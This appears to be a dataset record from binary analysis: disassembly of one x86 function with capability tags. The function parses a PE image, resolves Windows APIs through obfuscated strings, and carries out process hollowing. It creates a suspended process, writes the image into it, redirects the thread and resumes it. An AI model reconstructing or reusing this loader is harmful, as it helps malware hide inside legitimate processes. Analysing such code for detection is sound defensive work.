Function at 0x10006e80
Capabilities:
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x61
push 0
push 0
dec ecx
jne 0x10006e88
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.1000488c
mov eax, dword [ebp - 8]
call fcn.10005758
xor eax, eax
push ebp
push 0x100073f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor edx, edx
push ebp
push 0x10007352
push dword fs:[edx]
mov dword fs:[edx], esp
mov ebx, dword [ebp - 8]
mov edx, ebx
lea eax, [ebp - 0x5c]
mov ecx, 0x40
call fcn.1000697c
cmp word [ebp - 0x5c], 0x5a4d
jne 0x10007348
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x20]
lea edx, [eax + edx]
lea eax, [ebp - 0x154]
mov ecx, 0xf8
call fcn.1000697c
cmp dword [ebp - 0x154], 0x4550
jne 0x10007348
mov dword [ebp - 0x1d0], 0x44
lea edx, [ebp - 0x2a4]
mov eax, 0x10007414
call fcn.10006a04
mov eax, dword [ebp - 0x2a4]
lea edx, [ebp - 0x2a0]
call fcn.10006868
mov eax, dword [ebp - 0x2a0]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2a8]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x2a8]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x1d0]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.1000489c
push eax
push 0
call esi
test al, al
je 0x10007348
mov dword [ebp - 0x29c], 0x10007
lea edx, [ebp - 0x2b0]
mov eax, 0x10007440
call fcn.10006a04
mov eax, dword [ebp - 0x2b0]
lea edx, [ebp - 0x2ac]
call fcn.10006868
mov eax, dword [ebp - 0x2ac]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2b4]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x2b4]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
lea eax, [ebp - 0x29c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call esi
test al, al
je 0x10007348
lea edx, [ebp - 0x2bc]
mov eax, 0x1000745c
call fcn.10006a04
mov eax, dword [ebp - 0x2bc]
lea edx, [ebp - 0x2b8]
call fcn.10006868
mov eax, dword [ebp - 0x2b8]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2c0]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x2c0]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
lea edx, [ebp - 0x14]
push edx
push 4
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x1f8]
add edx, 8
push edx
mov edx, dword [ebp - 0x18c]
push edx
call eax
lea edx, [ebp - 0x2c8]
mov eax, 0x10007478
call fcn.10006a04
mov eax, dword [ebp - 0x2c8]
lea edx, [ebp - 0x2c4]
call fcn.10006868
mov eax, dword [ebp - 0x2c4]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2d0]
mov eax, 0x10007498
call fcn.10006a04
mov eax, dword [ebp - 0x2d0]
lea edx, [ebp - 0x2cc]
call fcn.10006868
mov eax, dword [ebp - 0x2cc]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x18c]
push edx
call eax
lea edx, [ebp - 0x2d8]
mov eax, 0x100074a8
call fcn.10006a04
mov eax, dword [ebp - 0x2d8]
lea edx, [ebp - 0x2d4]
call fcn.10006868
mov eax, dword [ebp - 0x2d4]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2dc]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x2dc]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
push 4
push 0x3000
mov eax, dword [ebp - 0x104]
push eax
mov eax, dword [ebp - 0x120]
push eax
mov eax, dword [ebp - 0x18c]
push eax
call esi
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x2e4]
mov eax, 0x100074c0
call fcn.10006a04
mov eax, dword [ebp - 0x2e4]
lea edx, [ebp - 0x2e0]
call fcn.10006868
mov eax, dword [ebp - 0x2e0]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2e8]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x2e8]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edi, eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x100]
push eax
push ebx
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18c]
push eax
call edi
mov eax, dword [ebp - 0x20]
add eax, 0xf8
mov dword [ebp - 0x1c], eax
movzx ebx, word [ebp - 0x14e]
dec ebx
test ebx, ebx
jl 0x10007257
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
xor edx, edx
push edx
push eax
mov eax, esi
shl eax, 3
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [ebp - 8]
add edx, eax
lea eax, [ebp - 0x17c]
mov ecx, 0x28
call fcn.1000697c
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x168]
add eax, edx
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x170]
push eax
mov eax, dword [ebp - 0x18c]
push eax
call edi
inc esi
dec ebx
jne 0x100071fa
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1f8]
add eax, 8
push eax
mov eax, dword [ebp - 0x18c]
push eax
call edi
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x12c]
mov dword [ebp - 0x1ec], eax
lea edx, [ebp - 0x2f0]
mov eax, 0x100074dc
call fcn.10006a04
mov eax, dword [ebp - 0x2f0]
lea edx, [ebp - 0x2ec]
call fcn.10006868
mov eax, dword [ebp - 0x2ec]
call fcn.1000489c
push eax
lea edx, [ebp - 0x2f4]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x2f4]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
lea edx, [ebp - 0x29c]
push edx
mov edx, dword [ebp - 0x188]
push edx
call eax
lea edx, [ebp - 0x2fc]
mov eax, 0x100074f8
call fcn.10006a04
mov eax, dword [ebp - 0x2fc]
lea edx, [ebp - 0x2f8]
call fcn.10006868
mov eax, dword [ebp - 0x2f8]
call fcn.1000489c
push eax
lea edx, [ebp - 0x300]
mov eax, 0x1000742c
call fcn.10006868
mov eax, dword [ebp - 0x300]
call fcn.1000489c
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp - 0x188]
push edx
call eax
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x100073c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x100073ff
lea eax, [ebp - 0x30c]
mov edx, 0x1c
call fcn.10004400
lea eax, [ebp - 8]
mov edx, dword [0x10006954]
call fcn.100056f4
lea eax, [ebp - 4]
call fcn.100043dc
ret